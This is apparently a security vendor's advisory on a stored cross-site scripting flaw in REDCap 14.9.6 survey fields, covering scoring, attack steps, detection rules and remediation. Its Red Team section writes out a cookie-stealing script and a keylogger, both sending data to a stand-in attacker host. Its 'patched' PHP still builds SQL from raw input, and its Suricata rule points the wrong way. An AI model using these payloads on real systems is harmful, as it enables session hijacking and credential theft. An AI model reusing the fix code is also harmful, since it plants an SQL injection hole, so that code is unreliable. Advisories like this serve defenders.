CVE-2024-56377

Executive Summary

CVE-2024-56377 is a stored cross-site scripting (XSS) vulnerability in REDCap version 14.9.6. An authenticated attacker can inject malicious JavaScript into the Survey Title or Survey Instructions fields. When a victim user opens the survey and clicks anywhere on the page to begin data entry, the injected script executes in the context of the victim's session. This can lead to session hijacking, data exfiltration, or further compromise of the REDCap instance. The vulnerability has a CVSS score of 5.4 (Medium) and currently no official patch is available.

Supply Chain & Package Security

REDCap is a web application typically deployed as a PHP/MySQL stack. There is no NPM, PyPI, Go, or Ruby package involved; however, administrators should verify the integrity of their REDCap installation files and monitor for any unofficial patches or updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must click on survey page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication but no special privileges. The stored XSS can be used to target other users, including administrators, potentially leading to privilege escalation or data theft.

Deep Dive & Mechanics

The vulnerability resides in the survey title and instructions fields within REDCap's survey management module. When an authenticated user creates or edits a survey, the application does not properly sanitize or encode user-supplied input before storing it in the database. The stored payload is later rendered in the survey page without adequate output encoding.

Attack Flow:

1. An authenticated attacker navigates to the survey creation/edit page.
2. The attacker injects a malicious JavaScript payload into the Survey Title or Survey Instructions field (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the database.
4. When a victim user (including other authenticated users or respondents) opens the survey and clicks anywhere on the page to begin data entry, the injected script executes.
5. The script can perform actions such as stealing session cookies, exfiltrating data, or performing actions on behalf of the victim.

Root Cause: Lack of input validation and output encoding for the survey title and instructions fields. The application likely uses innerHTML or similar DOM manipulation without sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (REDCap 14.9.6):

// In survey creation/editing handler
$survey_title = $_POST['survey_title'];
// No sanitization before database insert
$sql = "INSERT INTO redcap_surveys (title) VALUES ('$survey_title')";
mysqli_query($conn, $sql);

// In survey display page
echo "<div id='survey_title'>" . $survey_title . "</div>";

Patched Code (Hypothetical):

// Sanitize input
$survey_title = htmlspecialchars($_POST['survey_title'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO redcap_surveys (title) VALUES ('$survey_title')";
mysqli_query($conn, $sql);

// Output with encoding
echo "<div id='survey_title'>" . htmlspecialchars($survey_title, ENT_QUOTES, 'UTF-8') . "</div>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a REDCap instance (version 14.9.6) with an authenticated user account.
• Ability to create or edit surveys.

Exploit Steps:

1. Log in to REDCap as an authenticated user.
2. Navigate to Survey Management and create a new survey or edit an existing one.
3. In the Survey Title field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the survey.
5. Share the survey link with a victim (e.g., via email or direct link).
6. When the victim opens the survey and clicks anywhere on the page, the script executes and sends the victim's cookies to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team

Detection:

• Monitor for unusual survey titles or instructions containing <script>, onerror, onload, or other event handlers.
• Look for outbound connections to unknown domains from the REDCap server.
• Review web server logs for requests containing encoded JavaScript in survey parameters.

Prevention:

• Implement a Web Application Firewall (WAF) rule to block XSS payloads in survey fields.
• Apply input validation and output encoding as shown in the patched code section.
• Restrict survey creation privileges to trusted users only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains from the REDCap server.
  • Suspicious GET or POST requests to /redcap/api/ or survey endpoints with encoded JavaScript.

• File IOCs:

  • Modified survey records in the database containing <script> tags or event handlers.
  • Log entries showing survey creation/editing by non-admin users with unusual payloads.

• Behavioral IOCs:

  • Multiple surveys created by a single user with similar malicious titles.
  • Unexplained session hijacking or data exfiltration events.

Detection Engineering

YARA Rule

rule CVE_2024_56377_XSS_SurveyTitle {
    meta:
        description = "Detects stored XSS payloads in REDCap survey titles"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56377"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: REDCap Stored XSS in Survey Title
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in REDCap survey title fields
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-56377
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/redcap/surveys/'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in survey instructions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56377 REDCap Stored XSS Survey Title"; flow:to_server,established; content:"POST"; http_method; content:"/redcap/surveys/"; http_uri; content:"<script"; nocase; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable survey creation for non-admin users until a patch is available.
2. Manually sanitize survey titles and instructions using htmlspecialchars() or a similar function.
3. Implement a WAF rule to block XSS patterns in survey fields.

Long-term Fix:

• Apply input validation and output encoding to all user-supplied fields in REDCap.
• Monitor the vendor's website for an official patch and apply it as soon as it is released.
• Conduct a security audit of the REDCap instance to identify other potential XSS vectors.

Workaround:

• Use Content Security Policy (CSP) headers to restrict script execution:

  Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
  

Valters IT
Securing Digital Frontiers